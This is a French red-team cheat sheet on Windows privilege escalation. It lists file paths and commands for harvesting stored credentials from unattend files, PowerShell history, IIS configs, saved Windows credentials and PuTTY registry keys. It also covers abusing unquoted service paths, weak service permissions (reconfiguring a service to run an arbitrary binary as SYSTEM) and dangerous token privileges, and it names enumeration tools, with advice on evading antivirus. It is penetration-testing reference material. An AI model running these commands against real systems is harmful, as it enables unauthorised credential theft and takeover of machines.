REDTEAM – Windows Elévation De Privileges

L’élévation des privilèges consiste à tirer parti d’un accès utilisateur pour obtenir à un autre compte utilisateur avec des droits supérieurs en abusant d’une faiblesse du système en place.

Obtenir l’accès à différents comptes peut être aussi simple que de trouver des informations d’identification dans des fichiers texte. En fonction de la situation, il peut être nécessaire d’abuser de certaines des faiblesses suivantes :

  • Mauvaises configurations des services Windows ou des tâches planifiées
  • Privilèges excessifs attribués au compte
  • Logiciels vulnérables
  • Patchs de sécurité Windows manquants

Mots de passe en clair

Installation automatique de Windows
C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
Historique Powershell
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $Env:userprofile\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
Identifiants Windows sauvegardés

Windows nous permet d’utiliser les informations d’identification d’autres utilisateurs. Cette fonction permet également d’enregistrer ces informations d’identification sur le système. La commande ci-dessous permet d’obtenir la liste des informations d’identification enregistrées :

cmdkey /list

Bien que vous ne puissiez pas voir les mots de passe réels, vous pouvez tenter de les utiliser avec la commande runas et l’option /savecred:

runas /savecred /user:admin cmd.exe
Configuration IIS

Internet Information Services (IIS) est le serveur web par défaut de Windows. La configuration des sites web sur IIS est stockée dans un fichier appelé web.config et peut contenir des mots de passe pour des bases de données ou des mécanismes d’authentification configurés.

C:\inetpub\wwwroot\web.config
C:\Windows\Microsoft.NET\Framework64\<version>\Config\web.config
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
Clés de registre

Putty

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

Tâches planifiées

En examinant les tâches planifiées sur le système cible, vous pouvez voir une tâche planifiée qui a perdu son binaire ou qui utilise un binaire que vous pouvez modifier.

Lister les tâches planifiées :

schtasks

Informations sur une tâche :

schtasks /query /tn vulntask /fo list /v

Services Windows

Chaque service sur une machine Windows aura un exécutable associé qui sera exécuté par le SCM chaque fois qu’un service est démarré. Chaque service spécifie également le compte d’utilisateur sous lequel il sera exécuté.

Toutes les configurations des services sont stockées dans le registre HKLM\SYSTEM\CurrentControlSet\Services\

Il faut donc rechercher les permissions non sécurisées sur un exécutable de service.

C:\> sc.exe qc VulnService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: VulnService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\Vulnerable\Path\MyService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Vulnerable Service
        DEPENDENCIES       :
        SERVICE_START_NAME : .\vulnsvc

Si vous avec un chemin avec des espaces mais qu’il manque les guillemets :

BINARY_PATH_NAME   : C:\A Vulnerable Path\MyService.exe
# au  lieu de : 
BINARY_PATH_NAME   : "C:\A Vulnerable Path\MyService.exe"

Alors SCM tentera d’abord d’exécuter C:\A.exe puis C:\"A Vulnerable.exe" si il existe du fait de l’ambiguïté introduit par ces espaces.

Permissions de service non sécurisées

Vous pouvez encore avoir une petite chance de profiter d’un service si le DACL exécutable du service est bien configuré, et si le chemin binaire du service est correctement cité. Si la DACL du service (et non la DACL de l’exécutable du service) vous permet de modifier la configuration d’un service, vous pourrez reconfigurer le service. Cela vous permettra de pointer vers n’importe quel exécutable dont vous avez besoin et de l’exécuter avec le compte de votre choix, y compris le compte SYSTEM lui-même.

sc.exe config <service-name> binPath= "<evil-path>" obj= LocalSystem

Abuser de privilèges dangereux

Vous pouvez voir vos privilèges avec la commande suivante :

whoami /priv

Liste de privilèges windows

  • SeBackupPrivilege / SeRestorePrivilege : permettent aux utilisateurs de lire et d’écrire dans n’importe quel fichier du système, sans tenir compte des DACL en place. Il est possible d’extraire le hash du mot de passe de l’administrateur local.
  • SeTakeOwnershipPrivilege : permet à un utilisateur de prendre possession de n’importe quel objet du système, y compris les fichiers et les clés de registre. Il est possible de rechercher un service fonctionnant sous le nom de SYSTEM et prendre possession de l’exécutable de ce service.
  • SeImpersonatePrivilege / SeAssignPrimaryToken : permettent à un processus d’usurper l’identité d’autres utilisateurs et d’agir en leur nom. Il sera donc possible de créer un processus ou un thread dans le contexte de sécurité d’un autre utilisateur. ( ex: grâce à SeDebugPrivilege et SeImpersonatePrivilege, nous pouvons obtenir le compte system, en utilisant le module incognito de meterpreter)

Logiciels vulnérables

Listes des logiciels installés :

wmic product get name,version,vendor

La commande wmic product ne renvoie pas nécessairement tous les programmes installés. Selon la manière dont certains programmes ont été installés, ils peuvent ne pas être listés.

Easy Win

WinPEAS

WinPEAS est un script développé pour énumérer les possibilités d’escalade des privilèges.

winpeas.exe > outputfile.txt
PrivescCheck

PrivescCheck est un script PowerShell qui recherche des possibilités d’escalade des privilèges. Il constitue une alternative à WinPEAS sans nécessiter l’exécution d’un fichier binaire.

Set-ExecutionPolicy Bypass -Scope process -Force
.\PrivescCheck.ps1
Invoke-PrivescCheck
WES-NG

certains scripts nécessitent que vous les téléchargiez sur le système cible et que vous les exécutiez. Cela peut amener les logiciels antivirus à les détecter et à les supprimer. Pour éviter de faire un bruit inutile qui pourrait attirer l’attention, vous pouvez préférer utiliser WES-NG, qui s’exécutera sur votre machine à distance.

Pour utiliser le script, vous devez exécuter la commande systeminfo sur le système cible.

Ensuite utiliser la commande suivante sur votre machine distante pour lancer l’analyse :

wes.py systeminfo.txt